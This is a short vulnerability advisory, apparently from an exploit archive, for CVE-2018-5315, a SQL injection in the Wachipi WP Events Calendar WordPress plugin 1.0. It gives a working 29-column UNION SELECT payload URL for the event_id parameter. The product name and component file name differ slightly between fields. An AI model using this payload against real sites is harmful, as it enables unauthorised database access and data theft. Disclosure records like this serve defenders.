WordPress Plugin Events Calendar - 'event_id' SQL Injection

# Exploit Title: Wichipi Events Calendar - SQL Injection
# Date: 09-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: codecanyon.net/user/wachipi
# Version: 1.0
# CVE-ID: CVE-2018-5315

Events Calendar allows you to easily add to your website a powerful
interactive calendar to present your events.

Found 09-01-18
Vendor reply & fix 09-01-2018

The Wachipi WP Events Calendar plugin 1.0 for WordPress has SQL Injection
via the event_id parameter to event.php.

NOTE: this plugin is NOT related to the Modern Tribe Events Calendar plugin.

[Additional Information]
http://
{TARGET}/event.php?event_id=-123%20union%20all%20select%201,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

[Vulnerability Type]
SQL Injection

[Vendor of Product]
https://codecanyon.net/item/wp-events-calendar-plugin/5025660 Wachipi

[Affected Product Code Base]
Events Calendar - 1.0

[Affected Component]
events.php

[Attack Type]
Remote

[Impact Code execution]
true

[Impact Escalation of Privileges]
true

[Impact Information Disclosure]
true

[Attack Vectors]
To exploit, union select 29 columns.  User can use 2 or 25 for information
gathering.

[Discoverer]
Dennis Veninga @ Networking4all.com